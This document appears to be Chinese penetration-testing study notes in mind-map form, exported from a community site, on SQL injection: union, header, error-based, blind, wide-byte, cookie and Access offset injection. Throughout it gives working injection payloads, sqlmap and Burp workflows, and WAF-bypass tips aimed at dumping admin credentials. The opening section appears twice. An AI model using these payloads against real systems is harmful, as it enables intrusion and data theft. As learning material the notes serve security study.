导图社区 网络安全-渗透测试学习笔记
网络安全-渗透测试学习笔记,包括SQL注入、数据库注入、前端渗透、文件上传解析漏洞、逻辑漏洞、App渗透测试等等。
编辑于2022-09-01 15:02:42渗透
SQL注入
SQL注入简介:OWASP TOP10连续10年榜首漏洞 and1=1 and1=2 是和数据库进行了交互 SQL是什么 数据库语句--数据库的代码 注入 注入是什么 用户输入的数据当做代码执行 注入的两个条件 第一用户能够控制输入 第二原本程序要执行的代码,拼接了用户输入的数据然后进行执行 万能密码是SQL注入的体现 select*from admin where username='admin' and password=' ' or 1=1 --qwe' 用户输入的数据被当做前端代码执行时XSS 用户输入的数据被当做XML代码执行叫做XXE --空格wqe /# 在MySQL数据库中都是起注释作用 在数据库中属注释的意思,加qwe是因为防止后面没有输入,浏览器过滤掉了空格,加入qwe防止空格被过滤 字符串和代码的区别 字符串:台式没有代码意义的,只是单独文本 代 码:会被执行 所有单双引号内的内容都是字符串,原本的数据库当中的id字段类型是整数,但是我们查询语句去查询的时候要求ID等于一个字符类型,数据库为了方便排大小把所有的数据强行转换成了字符串进行排列,整数和字符串没有办法比较发小,所以进行了数据的转化,所以字符串可以查到想要的结果。 判断sql注入方法: 最古老的方法: and 1=1 然后and 1=2 此方法容易被数据库禁止,大部分开发指导1=1 1=2是sql注入的测试方法 为什么可以and 1=1还要试试and1=2 新方法:?id=2-1 或 ?id=2/1 或 ?id=2*1 或 ?id=2%2b1 为什么1+1不可以? 网址栏(地址栏)/统一资源定位符(URL):它有一个独特的编码+要去站长之家URL编码/解码 +转换后是%2b ,在url内直接输入+则会转换成空格,所以需要+就用%2b 为什么不能2>1? sleep: ?id=1 and sleep(10) 浏览器显示转圈圈10秒钟。 union(联合查询) 定义:将两条数据库与一起输出 注意:两条语句的字段数必须相同。 跨库查询:如果我们在某个数据库里面,要去查询其他数据库的表或者字段内容那么一定要用特殊语法 库.表=>选中某个库里面的某个表 a.b=>选中a数据库中的b表 oder by ?id=1 and order by 1,该方法按照字段数进行排序,当提示报错的时候说明字段数大于实际字段数。 显错注入-联合查询流程: 判断是否存在注入点——猜解字段数——联合查询寻找输出点——去系统自带库查询表名、字段名——查询我们需要的字段的值 判断当前页面字段总数 and 1=1order by 1,2,3,4,5…… 判断显示位 and 1=2union select 1,2,3,4,5,6,7…… 查当前数据库 and 1=2union select 1,2,database() 查询流程 database() ————查当前库名 是一个函数,可以显示出当前库名 使用方法: ?id=9.999 union select 151,database()————页面输出maoshe 前面id=9.999是错误的,所以会输出batabase()函数后面的内容出现结果,database()前面的151是因为工程师在搭建数据库的时候设置显示,有第二个开始显示,在我们渗透的时候需要去进行显示的猜解 information_schema系统自带库,在5.0以上版本会有这个库 跨库查表————查表 ?id=9.999 union select 1,table_name from information_schema.tables where table_schema='maoshe' 页面输出admin表 注释 其中select*会查出所有东西,我们需要知道库名,所以输入?id=9.999 union select 1,table_name,显示出第一个字段和数据库的名字,得到了admin表 information_schema.tables存放表名和库名的应,information_schema.tables实际上是选中information_schema库中的tables表 字段查询————查字段 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' ————页面显示id 注释 information_schema.columns 存放字段名和表名的对应 column_name(s) 数据库表中所有列的名称,column_name是一个列名称 多位置输出limit limit 0,1 =>从第一条取一条数据 limit 1,1 =>从第二条取一条数据 limit 10,16 =>从第十一条取十六条数据 使用limit的顺序是: ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1 得到了 id username password 查询最后的账号密码: ?id=9.999 union select 1,password from admin limit 0,1 得到最终的hellohack GTOUP_CONCAT 函数 用limit比较麻烦的话可以使用 ?id=9.999 union select 1,GTOUP_CONCAT(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin' 数据库可能有输出限制不建议使用此方法
联合查询
SQL注入简介:OWASP TOP10连续10年榜首漏洞 and1=1 and1=2 是和数据库进行了交互 SQL是什么 数据库语句--数据库的代码 注入 注入是什么 用户输入的数据当做代码执行 注入的两个条件 第一用户能够控制输入 第二原本程序要执行的代码,拼接了用户输入的数据然后进行执行 万能密码是SQL注入的体现 select*from admin where username='admin' and password=' ' or 1=1 --qwe' 用户输入的数据被当做前端代码执行时XSS 用户输入的数据被当做XML代码执行叫做XXE --空格wqe /# 在MySQL数据库中都是起注释作用 在数据库中属注释的意思,加qwe是因为防止后面没有输入,浏览器过滤掉了空格,加入qwe防止空格被过滤 字符串和代码的区别 字符串:台式没有代码意义的,只是单独文本 代 码:会被执行 所有单双引号内的内容都是字符串,原本的数据库当中的id字段类型是整数,但是我们查询语句去查询的时候要求ID等于一个字符类型,数据库为了方便排大小把所有的数据强行转换成了字符串进行排列,整数和字符串没有办法比较发小,所以进行了数据的转化,所以字符串可以查到想要的结果。 判断sql注入方法: 最古老的方法: and 1=1 然后and 1=2 此方法容易被数据库禁止,大部分开发指导1=1 1=2是sql注入的测试方法 为什么可以and 1=1还要试试and1=2 新方法:?id=2-1 或 ?id=2/1 或 ?id=2*1 或 ?id=2%2b1 为什么1+1不可以? 网址栏(地址栏)/统一资源定位符(URL):它有一个独特的编码+要去站长之家URL编码/解码 +转换后是%2b ,在url内直接输入+则会转换成空格,所以需要+就用%2b 为什么不能2>1? sleep: ?id=1 and sleep(10) 浏览器显示转圈圈10秒钟。 union(联合查询) 定义:将两条数据库与一起输出 注意:两条语句的字段数必须相同。 跨库查询:如果我们在某个数据库里面,要去查询其他数据库的表或者字段内容那么一定要用特殊语法 库.表=>选中某个库里面的某个表 a.b=>选中a数据库中的b表 oder by ?id=1 and order by 1,该方法按照字段数进行排序,当提示报错的时候说明字段数大于实际字段数。 显错注入-联合查询流程: 判断是否存在注入点——猜解字段数——联合查询寻找输出点——去系统自带库查询表名、字段名——查询我们需要的字段的值 判断当前页面字段总数 and 1=1order by 1,2,3,4,5…… 判断显示位 and 1=2union select 1,2,3,4,5,6,7…… 查当前数据库 and 1=2union select 1,2,database() 查询流程 database() ————查当前库名 是一个函数,可以显示出当前库名 使用方法: ?id=9.999 union select 151,database()————页面输出maoshe 前面id=9.999是错误的,所以会输出batabase()函数后面的内容出现结果,database()前面的151是因为工程师在搭建数据库的时候设置显示,有第二个开始显示,在我们渗透的时候需要去进行显示的猜解 information_schema系统自带库,在5.0以上版本会有这个库 跨库查表————查表 ?id=9.999 union select 1,table_name from information_schema.tables where table_schema='maoshe' 页面输出admin表 注释 其中select*会查出所有东西,我们需要知道库名,所以输入?id=9.999 union select 1,table_name,显示出第一个字段和数据库的名字,得到了admin表 information_schema.tables存放表名和库名的应,information_schema.tables实际上是选中information_schema库中的tables表 字段查询————查字段 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' ————页面显示id 注释 information_schema.columns 存放字段名和表名的对应 column_name(s) 数据库表中所有列的名称,column_name是一个列名称 多位置输出limit limit 0,1 =>从第一条取一条数据 limit 1,1 =>从第二条取一条数据 limit 10,16 =>从第十一条取十六条数据 使用limit的顺序是: ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 0,1 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 1,1 ?id=9.999 union select 1,column_name from information_schema.columns where table_schema='maoshe' and table_name='admin' limit 2,1 得到了 id username password 查询最后的账号密码: ?id=9.999 union select 1,password from admin limit 0,1 得到最终的hellohack GTOUP_CONCAT 函数 用limit比较麻烦的话可以使用 ?id=9.999 union select 1,GTOUP_CONCAT(column_name) from information_schema.columns where table_schema='maoshe' and table_name='admin' 数据库可能有输出限制不建议使用此方法
POST/HEAD注入
POST注入
POST注入原理
如何注入
POST注入和普通注入一样,只是通过post提交数据,在提交的数据中进行注入
原理
在数据提交处,提交sql语句,使系统进行查询返回相应信息
攻击方式
手动注入
利用sqlmap和burp抓包
sqlmap的使用
建立一个文档,让sqlmap去炮POST可以通过-r参数指定数据包也可以使用--data去跑
burpsuit的使用
抓包后在post请求头处进行修改
注入流程细节
传参有两种,一种是post传参,一种是get 传参 post注入的存在数量要比get注入要多 post注入和get注入的区别 post注入在登录框;查询框;各种框 get注入在url栏里,标志是?id=1 post注入 本质与get注入无差异,只是位置不同, 万能密码测试是否有漏洞 有的时候' or 1=1 --qwe,有的时候是“ or 1=1 --qwe 利用登录框查询字段数 得到结果 三个字段 ' union select 1,2,3--qwe 得到结果输出点是 2 ,3 用SQLmap抓包跑post入住点 需要burpsuite 和sqlmap两个工具 一、在各种框内输入随意输入信息然后提交 二、抓包 三、复制下来所有的文字后在sqlmap的目录下建立一个txt文档 四、在sqlmap内输入 网址 -r 文件名.txt 跑的时候提高等级,比如--level3 --risk 2 跑不出来可以加*
区别
POST注入和HEAD注入区别
POST注入的注入点再POST传参,HEAD注入的注入点在头信息
POST注入与GET注入区别
1.传参方式不同,get传参,POST注入是POST传参
2.位置不同,get注入在URL栏,标志是?id=1;POST注入在登录框,查询框等等各种和数据库有交互的框
3.输入长度,POST在输入长度上没有限制,get传参有限制
4.编码:POST传参通常不会进行URL编码,但是get传参,但是get会
5.post(强编)传参会进行一次编码、后端会进行一次解码;GET(统一编码)传参,URL看到了%xx,他不会去管。post没有选择,强行编码。get看到符合URL编码的就不回去改变
6.get传参会进行16进制的编码
技术难题
php全局变量的作用 使一个脚本在全部域中可用,在调用时更加方便 post注入原理 在数据提交处,提交sql语句,使系统进行查询返回相应信息 2. 为什么post注入会有万能密码'or 1=1# 用一个单引号使前面的语句报错,后面的or表示或者 句子为或1=1,为真,所以登陆正确 2. 万能密码的利用条件是什么 存在POST注入 2. head注入中的0x7e的作用 0x7e为~为拼接作用,有了这个拼接的特殊符号才会报错 2. 在SQL中为什么AND有时候用的比OR少 如果一个判断,前面的一个语句不成立,AND根本不会执行后面的语句
传输方式
通过form表单传递数据
 application/x-www-form-url是post传参的标示头,会对传递的数据进行URL编解码,post传参通过form表单进行信息传递 案例  post数据包上传文件时的数据包,用的multipart/form-data 
传递文件
传json格式
传文本类型
HEAD注入
攻击方式
报错注入
updatexml() ————报错注入函数,报错注入只能显示字符串不能显示表
updatexml和xxe的利用xml文档方式是否相同?????????? 不相同,updatexml只是一个更新文档的作用,只是利用这个函数来返回信息,而xxe是通过在DTD实体声明处注入payload[以后会有XXE的部分我们再去理解]
需要用到0x7e(16进制)是~ 这样可以进行报错
and和or
and和or都要试一试,有的时候数据库很聪明,当and不满足的条件下就不会去查询后面的语句。or如果前面的满足了可能也不会去查询后面的语句是否正确,所以and 和or都试过了才能判断是否存在注入漏洞
select *from news where id =1 and updatexml(1,concat(0x7e(select database()),0x7e),1)
select *from news where id =1 or updatexml(1,concat(0x7e(select database()),0x7e),1)
区别
and和or的区别: and表示逻辑与,or表示逻辑或,而且运算的优先级不同,and大于or 在SQL中为什么AND有时候用的比OR少 如果一个判断,前面的一个语句不成立,AND根本不会执行后面的语句
updatexml()与联合查询不同,它不用在意字段数
有些没有回显的盲注也可以使用updatexml
注释
报错弹出的框有长度限制所以要用limit来控制输出数量
盲注
渗透流程
UA头注入
登录框过滤条件下绕过
首先在源代码中看到相关条件,发现输出位置是UA所以要把语句插入到UA里 
需要账号密码登陆后,比如某网站的会员
X-Forwarded-For头注入
是Header头里面的东西,某些网站,为了自身运行的更流畅,真失网站就一台机器,外部布置了很多机器,存储着缓存。 可以通过X-Forwarded-For拿下进行SQL注入 存储型XSS 通过抓包来进行更改XFF,从而进行控制  X_FORWARDED_FOR究竟是什么? 它是一种特殊的请求头,因为当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。但是如果要获取用户的ip的时候,我们就必须通过X_FORWARDED_FOR去获取,而不能直接通过$_SERVER["REMOTE_ADDR"] 获取。
代理与缓存
缓存
A访问网站的时候,被分配到外部主机,外部主机发现A访问的内容是之前B访问的内容,于是把B的内容给了A 缓存是根据外部的传参判断之前是否有有人做过这样的事情,如果有的话直接把相对应的结果反馈给你。
高匿代理
高匿代理没有X-Forwarded-For消息请求头,所以别人不知道你的真实IP
透明代理
当外部机器访问真实机器的时候,外部机器会带上X-Forwarded-For请求头访问真实主机,带上X-Forwarded-For请求头后真实主机就能获取访问者的真实IP地址
渗透流程
添加X-Forwarded-For: 然后加入updatexml()查询语句, 1' and updatexml(1,concat(0x7e,database(),1),'2') -- qwe  得出库名  然后老套路查库名表名,字段名就行了
ip头注入
Referer头注入
技术难题
2. head头注入原理 利用了php的全局变量$_server获取用户的相关信息且将数据存入数据库,利用updatexml函数输入sql语句,返回信息 2. head注入中的0x7e的作用 0x7e为~为拼接作用,有了这个拼接的特殊符号才会报错 2. head注入时需要把原有的head头信息删除吗 不是必须删除的,但是建议删除,因为删除了可防止干扰 2. head注入还有其他的利用点吗 有,不止user-agent处,还有ip,Referer ,X-Forwarded-For这些地方
在sqlmap中的使用
可以使用--level 来指定等级,大于3就会检测请求头和COOKIE
常用超全聚变量
万能密码原理
select username,password from users where username='admin' and password = ' 'or 1=1%23' limit 0,1(我们来看着语句逻辑,where后面是条件,username和password之间是and连接,所以两个有一个为否返回就是否,但是or 1=1,这个返回真,否 or 真=真)
防御post/head注入
对传入参数进行过滤,增加检测种类,加个waf或者正则表达式过滤危险字符
盲注
布尔型盲注
布尔型只有两种状态,一种是true(对的)比如1=1它就返回一个1。 另一种是false(错的),比如1=0它会返回一个0,没有报错信息
渗透流程
1.判断库名长度
注入位置是url栏  在1开始发现最后发现到12没数据,大于11有数据,由此断定数据库长度为12 
2.查找出数据库的名字
手工
?id=1 and ascii(substr(database(),1,1))>97 里面的1,1是substr()函数截取第一个字符取第一个  大于106有数据 ,大于107没数据,得出ASCII码结果是107,对照ASCII表得出结果K,所以当前库名第一字符是k
burp抓包
一个一个猜
谷歌浏览器开代理;准备抓包,一定要写成=1  选中数字1邮件发到跑包的位置去    点击上方开始跑包  可以去对照第一个107是k 第二个是97 
高效率
点到最下面的模块,可以同时跑两个数据  勾选上两个需要跑的数据,然后进入payload  由于数据库之前得知长度为12,所以payload1 里设置1-12 ;  payload2里设置1-127,因为ASCII码对应的有127个  开跑  得出结果107 97 110 119 111 108 111 110 103 120 105 97 对照ASCII码是kanwolongxia 
SQLmap
跑法与普通get传参一致
--flush-session清除缓存
burp和SQLmap跑的区别
burp可以在对方有防火墙的情况下跑,SQLmap必须在没有防护的情况下进行
select语句必须使用子查询
时间型盲注
页面返回值只有true,无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确 主要利用sleep()函数的时间差来判断是否存在注入点
if查询
用burp去跑  与布尔型相比较时间排序方式不同,在排序方式里找缺失的那数值就行这里缺少108和106之间缺少107, 
布尔型与时间型的区别
布尔型是通过页面的返回信息是否正常来证明漏洞是否存在 时间型盲注是通过时间差来对盲注进行一个攻击 在burp跑包的时候布尔型按照长度排序,而时间型盲注按照顺序进行排序找缺失的那部分
盲注需要掌握的几个函数
length() 函数 返回字符串的长度
substring() 截取字符串 (语法:SUBSTR(str,pos,len);)
substr(要截取的东西比如database(),第几个,从第几个截取几个) 例如substr(‘supermarket’,1,1) 输出的是supermark的第一个字母且直接去一个 输出结果是 's' 例如substr(‘supermarket’,3,3) 输出的是supermark的第三个字母开始直接截取三个 输出结果是'per'
substring和substr的区别
ascii() 返回字符的ascii码 [将字符变为数字wei]
ASCII码是计算机中的信息标准码,任何语言在计算机中都会被转换成2进制的 ASCII就是所有的字符都会被转换成相对应的数字 对于渗透测试的意义是将字符转换成数字后方便进行比较,在盲注中方便我们通过数字就猜测库名、表名、字段名 
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如 果错误执行第三个语句
if(expr1,expr2,expr3)括号内第一个位置填要判断的东西;第二个位置是如果成立了会如何如何,第三个位置是如果不成立如何如何 比如if(1=1,sleep(10),1) 如果成立会睡10秒,如果不成立会输出1
盲注与显错注入的区别
盲注不需要用order by 不需要找输出点,只要用and or都行
报错注入
优点
不管有没有输出点
不管数据类型
不管字段数
缺点
不能显示表格、多行数据
只显示字符串,只能显示文字
宽字节注入
宽字节注入是为了绕过magic_quotes_gpc魔术引导,于是又了宽字节的概念 使用宽字节注入必须要用GBK编码=>非utf-8以及英文编码
什么情况存在宽字节注入
gbk编码用中文去和数据库进行沟通,去和数据库进行连接,所以会产生宽字节注入,宽字节就是两个字节一个汉字 
魔术引号
通过自动添加\转义符号来干掉各种闭合(' " \),加了转义符号后输出的所有东西都是字符串,不是代码,魔术引号是一种数据库防SQL注入的方式。在php5.4版本一下存在,5.4版本以上有其他函数进行防御 ' =>'\ " =>"\ \ =>\ \ 只有post get cookie三种传参会被魔术引号影响, head注入默认情况下不会对传参进行影响
PHP5.4以下版本magic_quotes_gpc(魔术引号开关)
magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的 数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出 现致命的错误。单引号(’)、双引号(”)、反斜线(\)与 NULL(NULL 字符)等字符都会被加上反斜线
PHP5.4以上版本addslashes函数魔术引号
攻击方式(绕过魔术引导方法)
要求在语句中不出现' " \
第一种方法:MySQL数据库中,16进制代替字符串
%df宽字节
%df是电脑上打不出来的字体 国际标准编码是utf-8,但是由于文字不同,我国使用的是gbk编码,gb2312编码。 若使用gbk编码想办法让传一个单字符,让这个单字符和\成双成对,让他们变成一个汉字 %df+%5c(\) =運 让两个字符形成闭合 %df是URL编码后的值
知识点
GBK编码
gbk编码一个编码占两个字节,只有英语数字可以通过单字符实现,
URL解码
URL编码的标志是%,核心是16进制   案例 
明白作用域
只有post get cookie三种传参会被魔术引号影响, head注入默认情况下不会对传参进行影响
16进制
在计算机中十六进制超过了127位的排列,在电脑中很多字符是打不出来的,计算打不出来,只能用16进制进行或URL编码进行传参
技术难题
为什么单引号不能用0x
0x直接当代码执行,0x所带的值都是字符串
代码是不可以使用任何函数的,函数正常情况下只能对字符串进行处理,正常情况不能对代码进行处理
post注入出现URL编码的原因
 application/x-www-form-url是post传参的标示头 案例 
函数
iconv是指将某编码转换成另一种编码 strlen是输出字符串长度 
注入攻击本质
把用户输入的数据当做代码执行。
注入攻击两个条件
第一个是用户能够控制输入 第二个是原本程序要执行的代码,拼接了用户输入的数据
sqlmap
三板斧:level是级别 risk是测试语句丰丰富,双引号"闭合
可以查看数据库类型
课外知识收纳
16进制
不能当做代码执行,转化出来只能是字符串
数据库注入
Access注入
Access是数据库的一种,常见的数据库有Access、MySQL、MSSQL(SQL server) Oracle,其中他们的sql语句基本上是互通的。 ACESS数据库只有表、字段。这里面不存在库
Access注入-cookie注入
cookie注入=>特殊的传参方式产生的注入,和数据库语言没有关系,cookie注入可以在任何数据库进行 PHP中的$_request可以获取post\get\cookie传参,php 5.2以上版本就不会接受cookie传参了。 适用于多种数据库,因为和数据库无关,是传参方式的不同
cookie注入的简介
什么是cookie
Cookie就是代表你身份的一串字符串,网站根据Cookie来识别你是谁,如果你获取了管理员的Cookie ,你可以无需密码直接登陆管理员账号
cookie注入原理
在动态脚本语言中存在超全局变量可以获取多种传参方式(基本上) 很多时候开发在开发的时候为了考虑到多种接受参数,在接受参数的时候都是用多种解释传参的方法 例如: php中的$_REQUEST[] 可以获取POST|GET|COOKIE传参 注:php 5.4以上版本就不会接受Cookie传参了。 如果说开发用了$_REQUEST[]来接受参数?然后我们的POST和GET传参被Waf拦截了怎么办? 那么也许Waf没有对Cookie进行检测,我们尝试用Cookie进行传参,然后不就可以绕过检测机制!!
什么时候使用cookie注入
在post传参和get传参被禁止的时候可以试试是否存在cookie注入
适用于几乎所有数据库
cookie注入产生原因
开发的时候语句不严谨,滥用接收权接受参数造成的
加密的cookie不可以解密
此段cookie不能解密
怎么修改cookie
浏览器设置(不推荐)
在网页按F12  设置cookie的值 
不推荐原因:可能浏览器会遇到一些困难
抓包修改
cookie会被写在数据包的请求头里,所以我们通过burp抓包对其cookie头进行修改  然后修改ID 
浏览器插件设置cookie
把此插件不需要解压直接抓紧谷歌浏览器内进行安装即可通过插件进行更改   
浏览器自带JS进行设置
流程
在网页按F12调出源代码,找到console  输入document.cookie =>当前网站的cookie有什么 document.cookie="id=1231112132"意思将当前的cookie设置成这个样子
cookie注入靶场讲解
burp抓包
判断是否存在存在SQL注入
首先进行数据库的加减171-1,发现页面是存在变化的。  and1=2不能进行报错  直接上order by 查询后面的信息,判断字段数,发现只有10个字段,准备输出这10个字段,发现并不能利用联合查询语句进行输出来判断回显点,对传参进行了拦截,下面要开始绕过拦截  绕过拦截 绕过方法:1.不让你检测(走私):比如大家都从正门进入公司量体温,我们走后门进来,躲开了检测点。 2.规避规则(藏东西过海关):比如不允许出现这个东西,我们用相同类的东西去代替, 我们用第一个方法不让你检测 在谷歌浏览器插件的小饼干中设置名称 为 ID 值 为 任意数字 这里设置 170或171,发现cookie值可以改变页面,证明它可以接受cookie传参并且拼接进数据库 
order by判断显位
在169 后写 order by 10  发现没有找到相对应的结果
10个显位
寻找输出点
169 union select 1,2,3,4,5,6,7,8,9,10 from admin
169是id=169的页面 判断得出2,3,7,8,9都是输出点 
猜表名
通常有admin表里面有id字段(user字段 name字段)
试试username,password
在burp里进行转义然后粘贴到浏览器 
SQLmap跑注入
python sqlmap.py -u http://网址 --level 3 --cookie=id --level 等级的提高会测试更多的传参位 比如 user_agent cookie post get head --risk 测试更复杂的语句,比如 ' or 1=1
跑数据包
通过burp抓包然后在SQLmap下建立一个文件夹,然后用sqlmap去跑,(在id=171后加入*进行注释跑)  python sqlmap.py -r 123.txt 用等级跑就是python sqlmap.py --level 3 --risk 2 --flush-sesion 这是sqlmap跑出来的标志 
Sqlmap可以提高检测等级来进行cookie注入(检测等级3及以上,要指定参数) 还可以抓包,在Cookie后面打个*就可以了
区别
document.cookie和docunment.cookie="id=1231111"
输入document.cookie =>意思是当前网站的cookie有什么
document.cookie="id=1231112132"=>意思将当前的cookie设置成这个样子
若document.cookie="id=1231112132"之中出现一些特殊的标点符号比如document.cookie="id=1231112132'a''a'v",容易出现些问题。 解决方法:最好进行一次URL编码
函数
escape()
将数据进行URL编码
注意事项
cookie注入查询语句使用
一定要进行URL编码,不然就会报错 
Access数据库不能使用selecet1,2,3这种语句
因为Access是很老的数据库,select 1.2.2.3.4这种是MySQL数据库独有的
控制台console修改传参,cookie才是传参
偏移注入
一些无法查询的列名,比如权限不足的知道表名却不知道字段 使用偏移查询主要查询字段及内容等 不能使用sqlmap跑
课程内容
使用范围
多种数据库
使用场景
在SQL注入的时候会遇到一些无法查询列名的问题,比如 系统自带数据库的权限不够而无法访问系统自带库。 当你猜到表名无法猜到字段名的情况下,我们可以使用偏 移注入来查询那张表里面的数据。 像Sqlmap之类的工具实际上是爆破字段的名字,但是如 果字段名称比较奇葩,例如:H5scker_Passwd 之类的那就无 可奈何了
使用条件
Access数据库需要先猜解表名,因为查询语句必须写表名
table_nalme.*
查询
实操渗透步骤
判断注入点有多少个字段
document.cookie="id"+escape("105 order by 1")
在console处进行数据查询
判断输出点
浏览器 console控制台输入查询语句
document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin ")
输出点为357 
里面的26个字段并不是admin表的字段数,而是当时注入页面的字段数
判断admin.*有多少字段
已经输出点页面存在26个字段 document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin") 我们在浏览器F12的console内在上面的语句中加入admin.* document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,admin.* from admin") 然后回车提交,报错就继续删除字段数,当不报错的时候就说明 document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,admin.* from admin") document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,admin.* from admin") document.cookie="id="+escape("105 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,admin.* from admin")
知识点
table_name.*
表内所有字段
如何判断admin.*有多少字段
子主题
top取数据
document.cookie="id="+escape("105 union select 1,2,3,4,top 1,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin ")
MySQL数据库输出用limit,Access数据库输出用top
定义
top 1=>limit 0,1
top 2=>limit 0,2
top倒序
目的是获取字段内所有的数据,而不是为了排大小
在id数后加入and 1=2,防止id=105干预
document.cookie="id="+escape("105 and1=2 union select 1,2,3,4,top 1,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from admin order by 1 desc")
注意事项*
Access
Access偏移注入使用场景
一些无法查询的列名,比如权限不足的知道表名却不知道字段 使用偏移查询主要查询字段及内容等
偏移注入是否仅用于Access
不是,mysql也可以使用偏移注入 很多种数据库都能使用
为什么access数据库union 联合查询在查字段后要加 from
因为access数据库在报显示位是要确定一个表名
为什么没用到information_schema
access数据库里没有系统自带表,只能猜
为什么access数据库union 联合查询在查字段后要加 from
因为access数据库在报显示位是要确定一个表名
cookie
为什么可以cookie注入
因为在这里接受参数的时候使用了REQUEST,他可以接受get 和POST 和 COOKIE的传参
为什么cookie注入可以绕过验证
因为早期网站防护只检测GET和POST传参,没有检测COOKIE
Cookie注入常见吗?
老一点的ASP网站常见,PHP看版本,因为高于5.2以上的php版本他的$_REQUEST将不再接受cookie传参
COOKIE注入时为什么要删除URL内的id传参
因为它传参进去会有一个输出,cookie里我们也传参了一个id数值,他会优先接受GET的传参
*相关
.*的作用
用于代替表内全部字段,在不能用系统自带库查字段名时
与正则表达式中的*有什么不同
正则中的*代表匹配前面的0或无数次,而这里的*指定表中所有的字段,admin.*是指admin表中所有的字段
不能直接写*
不能,直接写*的话不知道你这个代表了是那个表
为什么偏移注入要用1,2,admin.*呢
因为我们不知道这个表中的具体字段名,xxx.*代表所有字段,把表二所有字段字段都显示出来,然后再来找那个具体的字段
xx.*可以代表任意字段及数量吗
代表XXX表的所有字段
admin.* 代表一个任意字段?
admin.*代表了所有字段
and exist(select * from admin) 类似的盲注的语句能否使用
这里主要是涉及偏移注入,那一条的确是access的盲注语句,但在现在的情况下并不适用,因为你不知道字段名,无法盲注
联合查询
偏移注释时联合查询后的一张表为什么要小于前一张表
联合查询必须要满足一个条件,就是前面的查询和后面的查询字段数必须相等,因为前面那张表的查询字段数是固定的,后面那张我们控制,但是当你使用admin.* 代表admin整个表的字段,如果admin表字段比前面那个表多,就不符合联合查询
union 联合查询前为什么要加and 1=2
因为显示的时候有时只能返回第一行的数据,加上and 1=2后使前面的语句报错,前一行就没用输出了,从而显示后一条语句
为什么access数据库union 联合查询在查字段后要加 from
因为access数据库在报显示位是要确定一个表名
MySQL注入
MySQL-DNS_log注入
使用场景
不能使用工具跑
在无法直接利用的情况下,但是可以通过DNS请求,通过DNSlog,把数据外带,用DNS解析记录查看
使用条件
需要MySQL文件里有 secure_file_priv=
添加方法在phpstudy内找到mysql-ini  打开后是一个txt文件,在最下面加入语句 
目标机器没有开启该配置文件( secure_file_priv=),只能盲注
smb服务器联网
子主题
知识点
DNS
什么是DNS
是一个域名系统,是一项网络服务,它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网,DNS注入就是利用了DNS这个通道
DNS作用
域名解析-把域名变成IP地址
DNS服务器
计算机写日志,记录计算机都干了什么
load_file函数
是MySQL里面自带的函数
我可以读取文件
本地文件
读取我自己电脑上的东西
读取远程文件
读取别人电脑上的东西
什么是load_file函数
load_file 读取文件函数,读取的内容返回为字符串输出
load_file函数在注入的作用
利用读取注入的报错信息,然后返回报错信息(显错注入)
使用限制
返回内容有限制大小,server有接受大小限制,文件必须在服务器上,指定路径要完整,必须有file权限,所有字节可读.....
Windows的SMB服务(文件共享服务)
SMB(全称是Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。 3.SMB工作原理是什么? (1):首先客户端发送一个SMB negport 请求数据报,,并列出它所支持的所有SMB的协议版本。服务器收到请求消息后响应请求,并列出希望使用的SMB协议版本。如果没有可以使用的协议版本则返回0XFFFFH,结束通信。 (2):协议确定后,客户端进程向服务器发起一个用户或共享的认证,这个过程是通过发送SessetupX请求数据包实现的。客户端发送一对用户名和密码或一个简单密码到服务器,然后通过服务器发送一个SessetupX应答数据包来允许或拒绝本次连接。 (3):当客户端和服务器完成了磋商和认证之后,它会发送一个Tcon或TconX SMB数据报并列出它想访问的网络资源的名称,之后会发送一个TconX应答数据报以表示此次连接是否接收或拒绝。 (4):连接到相应资源后,SMB客户端就能够通过open SMB打开一个文件,通过read SMB读取文件,通过write SMB写入文件,通过close SMB关闭文件。
永恒之蓝
UNC路径(\\)两个反斜杠
看到\\就是UNC路径SMB服务
但是建议在cmd写入的时候使用//
\\和//的区别 
安全狗
是一种通用型的waf
并不是定制的
防火墙
防外不防内
外部不允许访问内部,内部允许访问外部
对外部数据进行检测,对内部数据不进行检测
数据库
#
MySQL数据库独有的注释,在渗透力尽量可以用#进行判断
sysobjects
所有表名都在里面
syscolumns
所有字段都在里面
实操渗透步骤
访问本地文件
在mysql控制台
phpstudy里MySQL的控制台 
